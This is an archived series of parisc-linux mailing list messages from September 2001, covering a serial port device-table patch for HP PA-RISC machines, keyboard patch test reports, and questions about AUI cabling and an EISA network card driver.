X-Trace: ger.gmane.org 1416620476 25504 80.91.229.3 (22 Nov 2014 01:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:16 +0000 (UTC)
Cc: mblessing@hp.com ("BLESSING,MICHAEL (HP-FtCollins,ex1)"),
	parisc-linux@parisc-linux.org ('parisc-linux@parisc-linux.org')
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 13:16:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 037C2483E
	for <parisc-linux@parisc-linux.org>; Wed, 12 Sep 2001 13:16:41 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15hFYX-00057S-00; Wed, 12 Sep 2001 20:20:17 +0100
In-Reply-To: <20010912191050.F2618@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Sep 12, 2001 07:10:50 PM
X-Mailer: ELM [version 2.5 PL6]
Xref: news.gmane.org gmane.linux.ports.parisc:12171

Should anyone outside HP want to build the full 5 CD set, the new 
ftp.linux.org.uk box which should be online RSN will have space and
bandwidth to host it




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Further serial changes -- PLEASE TEST
Date: Wed, 12 Sep 2001 23:42:08 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20010912234208.G2618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620477 25507 80.91.229.3 (22 Nov 2014 01:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 16:42:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D23C0483E
	for <parisc-linux@parisc-linux.org>; Wed, 12 Sep 2001 16:42:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hIhs-00055o-00
	for parisc-linux@parisc-linux.org; Wed, 12 Sep 2001 23:42:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12172

Richard reports the serial ports on his B180 are still swapped.  I
think I understand why and the following patch should fix it as well
as several other B/C/J `hundred' class machines.  It might also fix
the A180 (is this broken without the patch?  I haven't seen reports).

Please test this patch if you have one of the above machines.  This
mess might've been avoided if more people had tested the parisc_device
patch.

Index: drivers/gsc/serial.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/serial.c,v
retrieving revision 1.20
diff -u -p -r1.20 serial.c
--- serial.c	2001/08/31 02:00:49	1.20
+++ serial.c	2001/09/12 22:32:40
@@ -97,23 +97,16 @@ static struct parisc_device_id serial_tb
  * only on those machines.  This needs to get fixed properly somehow.
  */
 static struct parisc_device_id serial1_tbl[] = {
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x019, 0x0008C }, /* B180L+ */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x022, 0x0008C }, /* B132L+ */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03B, 0x0008C }, /* C1xx/C1xxL */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03C, 0x0008C }, /* B132L */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03D, 0x0008C }, /* B160L */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03E, 0x0008C }, /* B132L+ */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03F, 0x0008C }, /* B180L+ */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x040, 0x0008C }, /* B132L */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x041, 0x0008C }, /* B160L */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x046, 0x0008C }, /* Rocky2 120 */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x047, 0x0008C }, /* Rocky2 150 */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x048, 0x0008C }, /* Rocky2 120 */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x049, 0x0008C }, /* Rocky2 150 */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x04E, 0x0008C }, /* Kiji L2 132 */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x04F, 0x0008C }, /* Kiji L2 132 */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x056, 0x0008C }, /* Raven+ */
-	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x05F, 0x00081 }, /* A-class 180 */
+	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x05F, 0x0008C }, /* A-class 180 */
 	{ 0 }
 };
 

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bent Wagner <psy@get2net.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] keyboard patch ok on 725-100
Date: Thu, 13 Sep 2001 00:14:48 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109130004150.1019-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620477 25512 80.91.229.3 (22 Nov 2014 01:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 19:55:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from davisson.uni2.net (davisson.uni2.net [195.82.195.104])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA840483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 19:55:57 -0600 (MDT)
Original-Received: from psy.bronderslev.dk (IDENT:postfix@p303-177.ppp.get2net.dk [195.82.210.177])
	by davisson.uni2.net (8.11.0/8.11.0) with ESMTP id f8D1ttJ10028
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 03:55:55 +0200
Original-Received: by psy.bronderslev.dk (Postfix, from userid 500)
	id 9FF42C4E4; Thu, 13 Sep 2001 00:14:48 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by psy.bronderslev.dk (Postfix) with ESMTP id 8CC4DA590
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 00:14:48 +0200 (CEST)
X-Sender: psy@psy.bronderslev.dk
Xref: news.gmane.org gmane.linux.ports.parisc:12173

>To: marteaut@esiee.fr, rhirst@linuxcare.com, willy@debian.org
>Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
>Date: Wed, 5 Sep 2001 15:01:08 +0200
>Subject: [parisc-linux] Thomas Marteau kbd patch adapted.
>
>--0__=C1256ABE0044855E8f9e8a93df938690918cC1256ABE0044855E
>Content-type: text/plain; charset=us-ascii
>
>Dear all,
>
>I just adapt the patch keyboard of Thomas taking account of kernel
>update, reports of experiences of Richard.
>I can only test it against 2.4.9-pa14 (cvs update) and seems to work as
>well as with 712 as with b180 model
>(unplug, replug: ok with hp kbd; Caps lock do not hang the "system")
>
>In the hope to be helpful,
>     Joel


I have tested the patch on a 725-100 using a 2.4.9 -pa17 kernel, and
it really made my day.

First time i have used the keyboard since i installed linux on it
0.5, i think, was the first.

Glad i got that terminal with my MicroVax :-)

Now i just need to get that EISA 100VG  netcard running.

Greetings

Bent Wagner
psy@get2net.dk






From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bent Wagner <psy@get2net.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AUI on 725-100
Date: Thu, 13 Sep 2001 00:28:31 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620477 25517 80.91.229.3 (22 Nov 2014 01:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 19:55:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from richardson.uni2.net (richardson.uni2.net [129.142.7.104])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C77F4861
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 19:55:58 -0600 (MDT)
Original-Received: from psy.bronderslev.dk (IDENT:postfix@p303-177.ppp.get2net.dk [195.82.210.177])
	by richardson.uni2.net (8.11.0/8.11.0) with ESMTP id f8D1ttd01629
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 03:55:56 +0200
Original-Received: by psy.bronderslev.dk (Postfix, from userid 500)
	id 4FDCEC500; Thu, 13 Sep 2001 00:28:31 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by psy.bronderslev.dk (Postfix) with ESMTP id 4DC8AA590
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 00:28:31 +0200 (CEST)
X-Sender: psy@psy.bronderslev.dk
Xref: news.gmane.org gmane.linux.ports.parisc:12174

Hello all

I have some 725-100 boxes, but no AUI to rj45 adapters.

I have a HUB with an AUI connector on it.

Can i connect those two without using adapters, and if so
how should the cable be wired?

It seems odd to me that you should put adapters between the
machine and the HUB. Why not make it a BNC or rj45 instead?

I do have a netcard, a 100VG but it gives compiler errors
if i select it in the kernel configuration.



Bent Wagner
psy@get2net.dk







From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AUI on 725-100
Date: Thu, 13 Sep 2001 04:48:24 +0200 (MEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.33.0109130446180.43-100000@tiger.acc.umu.se>
References: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620478 25519 80.91.229.3 (22 Nov 2014 01:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Bent Wagner <psy@get2net.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 20:48:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25B50483C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 20:48:26 -0600 (MDT)
Original-Received: from tiger.acc.umu.se (maswan@tiger.acc.umu.se [130.239.18.209])
	by khan.acc.umu.se (8.11.6/8.11.6) with ESMTP id f8D2mOY21407;
	Thu, 13 Sep 2001 04:48:24 +0200 (MEST)
In-Reply-To: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
Xref: news.gmane.org gmane.linux.ports.parisc:12175

On Thu, 13 Sep 2001, Bent Wagner wrote:

>
> Hello all
>
> I have some 725-100 boxes, but no AUI to rj45 adapters.
>
> I have a HUB with an AUI connector on it.
>
> Can i connect those two without using adapters, and if so
> how should the cable be wired?

http://www.hardwarebook.net/cable/network/aui2aui.html

(Just a small plug for a local project :) )

> It seems odd to me that you should put adapters between the
> machine and the HUB. Why not make it a BNC or rj45 instead?

BNC or (most) rj45 cables handles distances better, I think. But AUI is
universal, there are adapters from that to the other media formats
(including thick coax). I think that is the explanation.

/Mattias Wadenstein





From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AUI on 725-100
Date: 12 Sep 2001 23:18:41 -0400
Organization: mkp.net
Lines: 28
Approved: news@gmane.org
Message-ID: <yq1zo7zzsku.fsf@jcb.mkp.net>
References: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620478 25523 80.91.229.3 (22 Nov 2014 01:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bent Wagner <psy@get2net.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 12 21:18:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A425483C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Sep 2001 21:18:45 -0600 (MDT)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=jcb.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 15hN1W-0005q2-00; Wed, 12 Sep 2001 23:18:42 -0400
Original-Received: (from mkp@localhost)
	by jcb.mkp.net (8.11.2/8.9.3) id f8D3If132355;
	Wed, 12 Sep 2001 23:18:41 -0400
X-Authentication-Warning: jcb.mkp.net: mkp set sender to mkp@mkp.net using -f
Original-Sender: mkp@mkp.net
In-Reply-To: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
Original-Lines: 25
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Copyleft)
Xref: news.gmane.org gmane.linux.ports.parisc:12176

>>>>> "Bent" == Bent Wagner <psy@get2net.dk> writes:

Bent> I have some 725-100 boxes, but no AUI to rj45 adapters.

Bent> I have a HUB with an AUI connector on it.

Bent> Can i connect those two without using adapters, and if so how
Bent> should the cable be wired?

http://www.cisco.com/warp/public/779/smbiz/service/knowledge/pinouts/aui.htm


Bent> It seems odd to me that you should put adapters between the
Bent> machine and the HUB. Why not make it a BNC or rj45 instead?

AUI was the standard ethernet interface many years ago.  It had the
advantage that you could connect a suitable transceiver depending on
your network type (thick, thin, RJ45, fibre).

There's a similar media-independent interface for Fast Ethernet called
MII.  You'll find that on a lot of high-end equipment.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Further serial changes -- PLEASE TEST
Date: Thu, 13 Sep 2001 11:28:35 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010913112835.R19441@linuxcare.com>
References: <20010912234208.G2618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620478 25524 80.91.229.3 (22 Nov 2014 01:41:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 13 04:28:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB907483C
	for <parisc-linux@parisc-linux.org>; Thu, 13 Sep 2001 04:28:44 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 000D8B00C; Thu, 13 Sep 2001 11:28:35 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010912234208.G2618@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Sep 12, 2001 at 11:42:08PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12177

On Wed, Sep 12, 2001 at 11:42:08PM +0100, Matthew Wilcox wrote:
> 
> Richard reports the serial ports on his B180 are still swapped.  I
> think I understand why and the following patch should fix it as well
> as several other B/C/J `hundred' class machines.  It might also fix
> the A180 (is this broken without the patch?  I haven't seen reports).

B180 is now ok.
C360 was ok anyway, and still is.


715/old orders its serial ports correctly, but as they are

6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75

I guess we are just lucky.  0xf0823000 is ttyS0, btw.


My 712 has
5. Gecko 100 Core RS-232 (10) at 0xf0105000, versions 0x1d, 0x0, 0x8c, 0x0, 0x0
13. Gecko Optional RS-232 (10) at 0xf0505000, versions 0x18, 0x0, 0x8c, 0x0, 0x0

It does put 0xf0105000 as ttyS0 as it should, but I guess there
should be an entry for 0x1d, 0x8c in serial1_tbl[] really?

Richard





From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Further serial changes -- PLEASE TEST
Date: Thu, 13 Sep 2001 13:38:44 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010913133844.H2618@parcelfarce.linux.theplanet.co.uk>
References: <20010912234208.G2618@parcelfarce.linux.theplanet.co.uk> <20010913112835.R19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620479 25526 80.91.229.3 (22 Nov 2014 01:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 13 06:38:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78F0B483C
	for <parisc-linux@parisc-linux.org>; Thu, 13 Sep 2001 06:38:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hVlU-0000iI-00; Thu, 13 Sep 2001 13:38:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010913112835.R19441@linuxcare.com>; from rhirst@linuxcare.com on Thu, Sep 13, 2001 at 11:28:35AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12178

On Thu, Sep 13, 2001 at 11:28:35AM +0100, Richard Hirst wrote:
> B180 is now ok.
> C360 was ok anyway, and still is.

Excellent!  Thanks for testing.

> 715/old orders its serial ports correctly, but as they are
> 
> 6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75
> 7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75
> 
> I guess we are just lucky.  0xf0823000 is ttyS0, btw.
> 
> 
> My 712 has
> 5. Gecko 100 Core RS-232 (10) at 0xf0105000, versions 0x1d, 0x0, 0x8c, 0x0, 0x0
> 13. Gecko Optional RS-232 (10) at 0xf0505000, versions 0x18, 0x0, 0x8c, 0x0, 0x0
> 
> It does put 0xf0105000 as ttyS0 as it should, but I guess there
> should be an entry for 0x1d, 0x8c in serial1_tbl[] really?

The way I look at this is that the serial ports really _ought_ to be
listed in the right order.  This is a table of exceptions to cope with
the few cases where that's not true.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AUI on 725-100
Date: Thu, 13 Sep 2001 13:51:32 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010913135132.I2618@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620479 25529 80.91.229.3 (22 Nov 2014 01:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bent Wagner <psy@get2net.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 13 06:51:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F082148AB
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 06:51:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hVxs-0000sI-00; Thu, 13 Sep 2001 13:51:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk>; from psy@get2net.dk on Thu, Sep 13, 2001 at 12:28:31AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12179

On Thu, Sep 13, 2001 at 12:28:31AM +0200, Bent Wagner wrote:
> I do have a netcard, a 100VG but it gives compiler errors
> if i select it in the kernel configuration.

In your other message you mention it's EISA.  This is unlikely to work
yet; I now have the docs, but it's likely to be some time before I get
round to working on it (I'm away from my desk until the start of October).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AUI on 725-100
Date: Thu, 13 Sep 2001 14:45:36 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010913144536.J2618@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0109130021290.1097-100000@psy.bronderslev.dk> <20010913135132.I2618@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620479 25531 80.91.229.3 (22 Nov 2014 01:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:19 +0000 (UTC)
Cc: Bent Wagner <psy@get2net.dk>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 13 07:45:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BF05485B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 07:45:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15hWoC-0001ib-00; Thu, 13 Sep 2001 14:45:36 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010913135132.I2618@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Sep 13, 2001 at 01:51:32PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12180

On Thu, Sep 13, 2001 at 01:51:32PM +0100, Matthew Wilcox wrote:
> On Thu, Sep 13, 2001 at 12:28:31AM +0200, Bent Wagner wrote:
> > I do have a netcard, a 100VG but it gives compiler errors
> > if i select it in the kernel configuration.

Ah, it uses isa_readl, et al.  So either we implement those functions or
just port the driver to use ioremap + readl.  I believe that the isa_*
functions are going away in 2.5, so we may as well port this driver.
As I say though, the WAX EISA adapter driver is mostly unwritten at this
point, so you'll have to wait a few weeks before it's done.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Bieri Stefan <Stefan.Bieri@garaventa.com>] AW: AW: AW: PARISC-Linux
Date: 13 Sep 2001 09:19:13 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <87u1y7glu6.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Trace: ger.gmane.org 1416620479 25533 80.91.229.3 (22 Nov 2014 01:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 13 09:19:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE3554853
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 09:19:36 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.32 1 (Debian))
	id 15hYH9-0001fW-00; Thu, 13 Sep 2001 09:19:35 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id B2F6324D06
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Sep 2001 09:19:34 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 472913BDD7; Thu, 13 Sep 2001 09:19:13 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
Original-Lines: 64
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:12181

--=-=-=

I am now out of my depth...  anyone else want to jump in and help?

Bdale



--=-=-=
Content-Type: message/rfc822
Content-Disposition: inline

X-From-Line: Stefan.Bieri@garaventa.com  Thu Sep 13 09:02:23 2001
Return-Path: <Stefan.Bieri@garaventa.com>
Delivered-To: bdale@localhost.gag.com
Received: from localhost (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 775AF3BDDB
	for <bdale@localhost>; Thu, 13 Sep 2001 09:02:23 -0600 (MDT)
Delivered-To: bdale@gag.com
Received: from localhost [127.0.0.1]
	by localhost with POP3 (fetchmail-5.9.0)
	for bdale@localhost (single-drop); Thu, 13 Sep 2001 09:02:23 -0600 (MDT)
